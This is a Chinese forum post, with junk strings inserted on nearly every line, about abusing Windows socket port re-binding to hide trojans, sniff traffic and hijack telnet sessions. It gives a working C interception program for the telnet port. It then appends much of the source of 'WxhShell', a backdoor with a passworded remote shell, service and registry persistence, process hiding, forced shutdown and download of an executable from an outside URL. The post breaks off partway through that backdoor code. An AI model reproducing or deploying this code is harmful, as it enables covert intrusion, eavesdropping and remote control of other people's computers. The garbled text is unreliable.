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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: KPvYq?F>4  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); (~yJce  
HK4`@jYQ  
  saddr.sin_family = AF_INET; @9Pn(fd]  
aLo>Yi  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); YedipYG9;  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); !ES#::;z?  
g KY ,G  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 vnOF$6n  
544I#!  
  这意味着什么?意味着可以进行如下的攻击: gKH"f%lK  
[~%;E[ky$  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ,oVBgCf  
?;QKe0I^  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) =1B&d[3;  
E MbI\=>yS  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 A>,fG9pR  
+mF 2yh  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  aD`e]K ^L  
zEL[%(fnc  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Ljs(<Gm)-  
p%qL0   
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 B=xZkc  
%Q4w9d  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 w%u[~T7OI  
PqeQe5  
  #include %R5MAs&-5  
  #include -]MP,P%  
  #include uy%PTi+A  
  #include    g5HqU2  
  DWORD WINAPI ClientThread(LPVOID lpParam);   43]&SXprH  
  int main() oU6g5  
  { ~Q\uP(!D  
  WORD wVersionRequested; { J%$.D(/  
  DWORD ret; DcM+K@1E4^  
  WSADATA wsaData; `SbX`a0p2  
  BOOL val; aQuy*\$$  
  SOCKADDR_IN saddr; Ss/="jC  
  SOCKADDR_IN scaddr; mq} #{  
  int err; <p8y'KAlc  
  SOCKET s; K\r=MkA.>  
  SOCKET sc; ?Qp_4<(5  
  int caddsize; im\Ws./  
  HANDLE mt; s'w 0pZqj  
  DWORD tid;   7oSuLo=  
  wVersionRequested = MAKEWORD( 2, 2 ); ?2/M W27w  
  err = WSAStartup( wVersionRequested, &wsaData ); gVWLY;c 3}  
  if ( err != 0 ) { QVhBHAw  
  printf("error!WSAStartup failed!\n"); c>k6i?u:X7  
  return -1; L(rjjkH  
  } spDRQ_qq  
  saddr.sin_family = AF_INET; !ry+ r!"  
   PQ|x?98  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 :G)x+0u  
4s2ex{$+MA  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); hkc_>F]Hx  
  saddr.sin_port = htons(23); Nd)o1 {I  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?*dx=UI  
  { ps J 1J  
  printf("error!socket failed!\n"); &^>r<~]  
  return -1; QrA+W\=_`y  
  } 5qko`r@#  
  val = TRUE; 0pz X!f1~  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 /! 3:K<6@  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) L4-Pq\2  
  { 7dW&|U  
  printf("error!setsockopt failed!\n"); ,~w)@.  
  return -1; 06O  
  } 0\ ;a:E.c  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; &"0[7zgYQz  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 )Jn80~U|1  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ,5WDYk-  
<:o><f+  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) wAPdu y[  
  { );LwWKa  
  ret=GetLastError(); PUArKBYM-  
  printf("error!bind failed!\n"); 1(a\$Di  
  return -1; u' ][3  
  } 2J <Z4Ap  
  listen(s,2); 14zzWzKx  
  while(1) ShxX[k  
  { &*-2k-16  
  caddsize = sizeof(scaddr); =V4!t|(7  
  //接受连接请求 ybkN^OEJ  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); s|oU$?eA  
  if(sc!=INVALID_SOCKET) Wn5]2D\vkT  
  { ["9$HL  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); \aozecpC`  
  if(mt==NULL) bp_@e0  
  { C I0^eaFs  
  printf("Thread Creat Failed!\n"); mer{Jy s  
  break; Rl8-a8j$f.  
  } ~VKXL,.  
  } VVOt%d  
  CloseHandle(mt); W=:+f)D  
  } N<WFe5  
  closesocket(s); tDVdl^#  
  WSACleanup(); 6R j X  
  return 0; R PQ)0.O7  
  }   r Y.:}D  
  DWORD WINAPI ClientThread(LPVOID lpParam) ,j<"~"] =  
  { zq&lxySa  
  SOCKET ss = (SOCKET)lpParam; }% *g\%L  
  SOCKET sc; Ckp=d  
  unsigned char buf[4096]; @YELqUb*  
  SOCKADDR_IN saddr; UQ?8dw:E~  
  long num; ?HTwTi 5!)  
  DWORD val; `}l%Am  
  DWORD ret; ualtIHXK)  
  //如果是隐藏端口应用的话,可以在此处加一些判断 cCs:z   
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   WBIS  
  saddr.sin_family = AF_INET; CTYkjeej  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Wi<Fkzj  
  saddr.sin_port = htons(23); 1F/&Y}X  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) I 3PnyNZ  
  { PHkvt!uH  
  printf("error!socket failed!\n"); "AVc^>  
  return -1; $G[##j2  
  } he #iWD'  
  val = 100; JZ [&:  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) L`v,:#Y   
  { 98"NUT  
  ret = GetLastError(); QkbN2mFv%  
  return -1; 4j5 "{  
  } @ Ia ~9yOY  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :C5N(x  
  { o-_ a0j  
  ret = GetLastError(); -u{:39y{n  
  return -1; Z)~ 2{)  
  } Z"u/8  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) $9/r*@bu8d  
  { @,vSRns  
  printf("error!socket connect failed!\n"); \T?O.  
  closesocket(sc); >8so'7(  
  closesocket(ss); vbp)/I-h  
  return -1; )C[8#Q-:  
  } ]Az >W*Y  
  while(1) yI)2:Ca*  
  { v*pVcBY>  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 RD^o&VXO  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 2#!D"F  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 9^n ]qg^  
  num = recv(ss,buf,4096,0); pFh2@O  
  if(num>0) ~ p.23G]x  
  send(sc,buf,num,0); R\^tr  
  else if(num==0) LCt m@oN  
  break; {<lV=0]  
  num = recv(sc,buf,4096,0); be_t;p`3  
  if(num>0) 'JydaF~>  
  send(ss,buf,num,0); _]g6 3q  
  else if(num==0) :n=+$Dq  
  break; R0>L[1o  
  } '@FKgy;B)-  
  closesocket(ss); sx;1V{|g  
  closesocket(sc); y< 84Gw_  
  return 0 ; 5o?bF3  
  }  6O}r4*  
c72/e7gV  
P&K~wP]  
========================================================== Rs dACP   
LS`Gg7]S  
下边附上一个代码,,WXhSHELL oKUJB.PF  
hn-S$3')`  
========================================================== ;rX4${h  
<}evOw2  
#include "stdafx.h" /T?['#:r-)  
hikun 2  
#include <stdio.h> UU_k"D~  
#include <string.h> lPH]fWt<  
#include <windows.h> +J2=\YO  
#include <winsock2.h> I?=Q *og  
#include <winsvc.h> |b@-1  
#include <urlmon.h> KM6r}CDHs  
.._wTOSq  
#pragma comment (lib, "Ws2_32.lib") B*{CcQ<5  
#pragma comment (lib, "urlmon.lib") KQk;:1hW  
=8]'/b  
#define MAX_USER   100 // 最大客户端连接数 +#O?sI#  
#define BUF_SOCK   200 // sock buffer d%<Uh(+:  
#define KEY_BUFF   255 // 输入 buffer W \"cp[b  
E4P P& '  
#define REBOOT     0   // 重启 QS[%`-dR2  
#define SHUTDOWN   1   // 关机 *N't ;  
\(Iy>L.  
#define DEF_PORT   5000 // 监听端口 Ut<_D8Tzx  
3KGDS9I  
#define REG_LEN     16   // 注册表键长度 c7'Pzb)'  
#define SVC_LEN     80   // NT服务名长度 W];4P=/  
E7N1B*KI  
// 从dll定义API fgNEq  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); D,2,4h!ka  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "|hmiMdGB  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2`; 0y M  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Y!KGJ^.mF  
1\1o65en  
// wxhshell配置信息 mesR)fTI  
struct WSCFG { ,E_hG3}}  
  int ws_port;         // 监听端口 ]5^u^  
  char ws_passstr[REG_LEN]; // 口令 RtSk;U1  
  int ws_autoins;       // 安装标记, 1=yes 0=no rHMsA|xz6  
  char ws_regname[REG_LEN]; // 注册表键名 jYU#] |k~  
  char ws_svcname[REG_LEN]; // 服务名 VB Ce=<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _vad>-=D*U  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 A2xORG&FD  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !=a8^CV  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Es?~Dd  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $]O\Ryf6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @r#>-p  
&.d~ M1Mz  
}; )ZT&V I  
[Ga 9^e$Zv  
// default Wxhshell configuration _9<Ko.GVq  
struct WSCFG wscfg={DEF_PORT, 3]wV`mD  
    "xuhuanlingzhe", c1c0b|B!U  
    1, x.'O_7c0:  
    "Wxhshell", oYu5]ry  
    "Wxhshell", b.$Gc!g  
            "WxhShell Service", =!7yX ;|  
    "Wrsky Windows CmdShell Service", {1FY HM^  
    "Please Input Your Password: ", vHWw*gg(/E  
  1, x ha!.&DO  
  "http://www.wrsky.com/wxhshell.exe", .*8.{n5   
  "Wxhshell.exe" na<g /&  
    }; 8G9V8hS1#B  
MLUq"f~N  
// 消息定义模块 1<lLE1fk  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $L?stgU  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <#:"vnm$j  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 't wMvm  
char *msg_ws_ext="\n\rExit.";  pCv=rK@  
char *msg_ws_end="\n\rQuit."; 2+0'vIw}  
char *msg_ws_boot="\n\rReboot..."; Hf#/o{=~}  
char *msg_ws_poff="\n\rShutdown..."; {<bByHT!  
char *msg_ws_down="\n\rSave to "; Ix"uk6 h  
p 3X>  
char *msg_ws_err="\n\rErr!"; qV5ME #TJ  
char *msg_ws_ok="\n\rOK!"; ^}9Aq $R  
-B R&b2  
char ExeFile[MAX_PATH]; 2&dtOyxo>  
int nUser = 0; dw'%1g.113  
HANDLE handles[MAX_USER]; e KET8v[  
int OsIsNt; 0?k/vV4  
k0%4&pU  
SERVICE_STATUS       serviceStatus; ky,+xq  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }nu hLt1  
\07 s'W U  
// 函数声明 P*G&pitT  
int Install(void); k pEES{f  
int Uninstall(void); $BCqz! 4K  
int DownloadFile(char *sURL, SOCKET wsh); Si!W@Jm  
int Boot(int flag); koe&7\ _@  
void HideProc(void); \3x,)~m  
int GetOsVer(void); RoP z?,u  
int Wxhshell(SOCKET wsl); 6Vi #O^>  
void TalkWithClient(void *cs); 9;kWuP>k4u  
int CmdShell(SOCKET sock); 'R= r9_%  
int StartFromService(void); -]HO8}-Rjs  
int StartWxhshell(LPSTR lpCmdLine); <Cm:4)~  
)t0t*xu#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); jRzR`>5  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); eo"6 \3z  
l1a=r:WhH  
// 数据结构和表定义 ~,.Agx  
SERVICE_TABLE_ENTRY DispatchTable[] = Z{ &PKS  
{ ^BW V6  
{wscfg.ws_svcname, NTServiceMain}, s\_ ,aI  
{NULL, NULL} RytQNwv3  
}; qd"*Td  
}wz )"  
// 自我安装 zS]Yd9;X1  
int Install(void) _<&IpT{w+  
{ KD=T04v  
  char svExeFile[MAX_PATH]; J %URg=r  
  HKEY key; 8&B{bS  
  strcpy(svExeFile,ExeFile); sJ25<2/  
9w(QM-u  
// 如果是win9x系统,修改注册表设为自启动 Rax}r  
if(!OsIsNt) { ewD61Y8-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "C%;9_ig$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FX 0^I 0  
  RegCloseKey(key); n~k;9`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uG~%/7Qt{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'Q?nU^:F#  
  RegCloseKey(key); IKH#[jW'IB  
  return 0; |v:8^C7  
    } d'J))-*#UO  
  } $D1Pk  
} *[k7KG2_U  
else { ,@8>=rT  
5,k&^CK}  
// 如果是NT以上系统,安装为系统服务 Ay/ "2pDZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); lhKd<Y"  
if (schSCManager!=0) 9["yL{IPe  
{ :^%My]>T  
  SC_HANDLE schService = CreateService  Jcy  
  ( Jx(%t<2  
  schSCManager, ' w!o!_T6  
  wscfg.ws_svcname, o0_RU<bWN  
  wscfg.ws_svcdisp, b> Iq k  
  SERVICE_ALL_ACCESS, fo^M`a!va0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .^fq$7Y}7  
  SERVICE_AUTO_START, esWgYAc3{  
  SERVICE_ERROR_NORMAL, y;3vr1?  
  svExeFile, +3!um  
  NULL, 5,|^4 ZA  
  NULL, -aXV}ZY"  
  NULL, :TxfkicN\  
  NULL, M8Q-x-7  
  NULL dt<PZ.  
  ); [ wi "  
  if (schService!=0) v_En9~e^n  
  { P] ouLjyq  
  CloseServiceHandle(schService); zsc8Lw  
  CloseServiceHandle(schSCManager); |r$Vb$z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 5JBenTt  
  strcat(svExeFile,wscfg.ws_svcname); )W(?wv!,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1)X%n)2pr  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  3_+-t5  
  RegCloseKey(key); K3M<%  
  return 0; 0,{Dw9W:  
    } j"7 z  
  } L Lm{:T7  
  CloseServiceHandle(schSCManager); w%g@X6  
} H_3S#.  
} Q+[gGe JUF  
n'U*8ID  
return 1; "9>~O`l,  
} HBXp#$dPc  
=(3Qbb1i  
// 自我卸载  +,gI|  
int Uninstall(void) b(&2/|hd  
{ :w_Zr5H]  
  HKEY key; mpIRe@#Z  
*}$T:kTH  
if(!OsIsNt) { ![18+Q\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 50F6jj  
  RegDeleteValue(key,wscfg.ws_regname); pJ;J>7Gt  
  RegCloseKey(key); 5rr7lw WZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x}?y@.sn8  
  RegDeleteValue(key,wscfg.ws_regname); kS%FV;9>(  
  RegCloseKey(key); ;^^u_SuH  
  return 0; pej/9{*xg(  
  } ;oH17  
} 6@t4pML  
} &jT>)MXPu  
else { G^ZL,{  
zQMsS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); a]>gDDF  
if (schSCManager!=0) 7<<pP  
{ ;O}%_ef@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Zz'(!h Uy  
  if (schService!=0) q&B'peT  
  { 3J7TWOJVw  
  if(DeleteService(schService)!=0) { :_~UO^*h  
  CloseServiceHandle(schService); {OL*E0  
  CloseServiceHandle(schSCManager); u-=S_e  
  return 0; /J aH  
  } %M2.h;9]*\  
  CloseServiceHandle(schService); 2l}FOdq  
  } $]<CC`  
  CloseServiceHandle(schSCManager); Mc#uWmc 7  
} lbZ,?wm  
} w}c1zpa  
-v'7;L0K  
return 1; B;r U  
} KdHR.;*  
r :{2}nE  
// 从指定url下载文件 ClCb.Ozj4  
int DownloadFile(char *sURL, SOCKET wsh) ID & Iz  
{ _ r0oOpE  
  HRESULT hr; &^Zo}F2V  
char seps[]= "/"; YAv-5  
char *token; E{[c8l2B  
char *file; f ?_YdVZ  
char myURL[MAX_PATH]; ^o+2:G5z}  
char myFILE[MAX_PATH]; bHH{bv~Z  
%*wJODtB|  
strcpy(myURL,sURL); H$>D_WeJ  
  token=strtok(myURL,seps); hZ Gr/5f  
  while(token!=NULL) 6;60}y  
  { <W2}^q7F^  
    file=token; kj~)#KDN  
  token=strtok(NULL,seps); -==@7*x!Z  
  } ~ ' 81  
BG_m}3j  
GetCurrentDirectory(MAX_PATH,myFILE); p%EU,:I6  
strcat(myFILE, "\\"); .Qg!_C  
strcat(myFILE, file); kSv?p1\@&P  
  send(wsh,myFILE,strlen(myFILE),0); $qYtN`b,  
send(wsh,"...",3,0); d/!sHr69  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "IA[;+_"  
  if(hr==S_OK) c[}h( jkP  
return 0; C '4u+raq  
else B$1nq#@  
return 1; 1k6f|Al -  
Wp/!;  
} H0Qpc<Z4/  
pg1o@^OuL  
// 系统电源模块 MNzq,/Wf  
int Boot(int flag) Vy.A`Hz  
{ }jBr[S5  
  HANDLE hToken; ol^V@3[<  
  TOKEN_PRIVILEGES tkp; .'mmn5E  
$)\%i=  
  if(OsIsNt) { vmK<_xbwd  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @ +h2R  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); I~\j%zD  
    tkp.PrivilegeCount = 1; 58,_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; M7^PWC  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Y$uXBTR`y/  
if(flag==REBOOT) { oe_l:Y%  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 3P3x^NI  
  return 0; GzWmXm  
} LH@)((bi4v  
else { E#JDbV1AC  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1fM= >Z  
  return 0; "5C)gxI^  
} `~vqu69MF9  
  } e;~[PYeu  
  else { Idop!b5!  
if(flag==REBOOT) { A(X~pP &oF  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5<w"iqZ\?N  
  return 0; uNZJNrV%  
} wvvMesX<L  
else { }WS%nQA  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) I~y[8  
  return 0; 3C 84b/A  
} ${0+LhST  
} k<wX??'  
vNlYk  
return 1; Iz,a Hrq  
} $]|fjB#D  
!31v@v:)  
// win9x进程隐藏模块 H>AQlO+J  
void HideProc(void) CT+pkNC  
{ jJdw\`  
7].tt  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); a9 7A{7I&  
  if ( hKernel != NULL ) [_*%  
  { Yf&x]<rkCp  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,+<NP}Yg#G  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); pm$,B7Q`oO  
    FreeLibrary(hKernel); 3ddH@Y|  
  } TzmoyY  
= q9>~E{}  
return; H8.U#%  
} u:tLO3VfJ  
b<};"H0a  
// 获取操作系统版本 w]X~I/6g  
int GetOsVer(void) T V\21  
{ ?VS(W  
  OSVERSIONINFO winfo; c7X5sMM,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Uq `B#JI  
  GetVersionEx(&winfo); -'3~Y 2#  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ;V`e%9 .  
  return 1; Q+'mBi}  
  else +!Q<gWb  
  return 0; ))V)]+  
} [R*UPa  
GqBZWmAB  
// 客户端句柄模块 j:B?0~=  
int Wxhshell(SOCKET wsl) #]<j.Fc`  
{ /{ Lo0  
  SOCKET wsh; uoR_/vol8  
  struct sockaddr_in client; ?.~E:8  
  DWORD myID; hz{=@jX  
U">w3o|  
  while(nUser<MAX_USER) PCDsj_e  
{ <3zA|  
  int nSize=sizeof(client); +F$c_ \>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); n,}\;Bp  
  if(wsh==INVALID_SOCKET) return 1; Fl<|/DCg  
)w_0lm'v{r  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); q|BR-0yi  
if(handles[nUser]==0) C-' n4AY^  
  closesocket(wsh); ;4p_lw@  
else Bpt%\LK\~O  
  nUser++; Pd9qY 8CP  
  } h'YC!hjp   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :S'P lH  
p&~8N#I#  
  return 0; Mu$9#[/  
} 4<g,L;pUU  
.<5 66g}VP  
// 关闭 socket <seb,> :  
void CloseIt(SOCKET wsh) 3tY \0y9  
{ H!mNHY_fA  
closesocket(wsh); kbS+ 3#+  
nUser--; ua[ d  
ExitThread(0); ZZk6 @C  
} kSoa '  
}bIbMEMn  
// 客户端请求句柄 ee}&~%  
void TalkWithClient(void *cs) E uxD,(  
{ ':YFm  
!j[Oy r|  
  SOCKET wsh=(SOCKET)cs; 0m k-o  
  char pwd[SVC_LEN]; %K[_;8  
  char cmd[KEY_BUFF]; I:M]#aFD  
char chr[1]; 6qg_&woJ3  
int i,j; 0.C[/u[  
dnt: U!TW@  
  while (nUser < MAX_USER) { hAq7v']m  
!\w@b`Iv8  
if(wscfg.ws_passstr) { I?c "\Fe  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kSj,Pl\NC  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?EQ]f34  
  //ZeroMemory(pwd,KEY_BUFF); E wDFUK  
      i=0; >8h14uCk  
  while(i<SVC_LEN) { k+ [V%[U  
%_Gc9SI  
  // 设置超时 L:UJur%  
  fd_set FdRead; j6<o,0P  
  struct timeval TimeOut; [yj-4v%u`  
  FD_ZERO(&FdRead); gI<e=|J6w  
  FD_SET(wsh,&FdRead); *9.4AW~]X  
  TimeOut.tv_sec=8; x9S~ns+r  
  TimeOut.tv_usec=0; GBnf]A,^ @  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); nv>|,&;  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); j_L1KB*  
C3 >X1nU  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^y:!=nX^  
  pwd=chr[0];  1t7vP;  
  if(chr[0]==0xd || chr[0]==0xa) { l]tda(  
  pwd=0; HUUN*yikj  
  break; p2T<nP<Pt  
  } 5n,?&+*L  
  i++; USBU?WDt  
    } t* eZe`|  
rC )pCC  
  // 如果是非法用户,关闭 socket /4x3dwXW@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); > Q[L, I  
} $M%<i~VXe&  
~2 aR>R_nT  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ZH6#(;b  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4rkj$  
1=Npq=d  
while(1) { +pDZ,c,  
K??(>0Qr}r  
  ZeroMemory(cmd,KEY_BUFF); .3Ex=aQcX  
"Z xM,kI  
      // 自动支持客户端 telnet标准   *^agwQ`  
  j=0; !F ]7q]g  
  while(j<KEY_BUFF) { i$`OOV=/e  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?+6w8j%\  
  cmd[j]=chr[0]; 2e~ud9,  
  if(chr[0]==0xa || chr[0]==0xd) { 3O %u?  
  cmd[j]=0; PEA<H0  
  break; ^\|Hz\"*  
  } D9.H<.|36  
  j++; -<e8\Z`  
    } TNgf96) y  
X{2))t%  
  // 下载文件 r(qAe{  
  if(strstr(cmd,"http://")) { x-W6W  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Z?@1X`@  
  if(DownloadFile(cmd,wsh)) m]}%Ag^x  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); B?o ?LI  
  else ~\4`tc  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kC : pal  
  } A\Ax5eeL  
  else { ^)-* Ubzz  
P|M#S9^]  
    switch(cmd[0]) { v(Vm:oK,  
  .4I "[$?Q  
  // 帮助 s Yp?V\Y"  
  case '?': { ~r(/)w\  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (y^[k {#  
    break; o]Ln:kl  
  } >b^|SL  
  // 安装 T2Duz,  
  case 'i': { 5Z (1&  
    if(Install()) gie.K1@|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VE_%/Fs,  
    else "XvM1G&s`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |n9q 4*dN  
    break; /m>%=_nz  
    } !\e&7sV~Q  
  // 卸载 \gtI4zl*J  
  case 'r': { E]Wnl\Be  
    if(Uninstall())  k2]Q~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3RYg-$NK[  
    else Xgq-r $O2X  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %M? A>7b  
    break; 8|9JJ<G7  
    } c{X>i>l>  
  // 显示 wxhshell 所在路径 =^nb-9.  
  case 'p': { e G8Zn<:s  
    char svExeFile[MAX_PATH]; RDFOUqS  
    strcpy(svExeFile,"\n\r"); P1 \:hh  
      strcat(svExeFile,ExeFile); g7>p,  
        send(wsh,svExeFile,strlen(svExeFile),0); 8Xo`S<8VS  
    break; 1w30Vj2<  
    } Z.!tp  
  // 重启 ,ypD0Q   
  case 'b': { ]m ED3#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4JOw@/nE  
    if(Boot(REBOOT)) ZW+[f$X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x{=@~c%eh  
    else { hu=b ,  
    closesocket(wsh); \a\J0&Z  
    ExitThread(0); .tFMa:   
    } y7&8P8R  
    break; R9dC$Y]\M  
    } g 0=Q>TzY  
  // 关机 zYL</!6a[  
  case 'd': { PxqRb  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2!UNFv#=$  
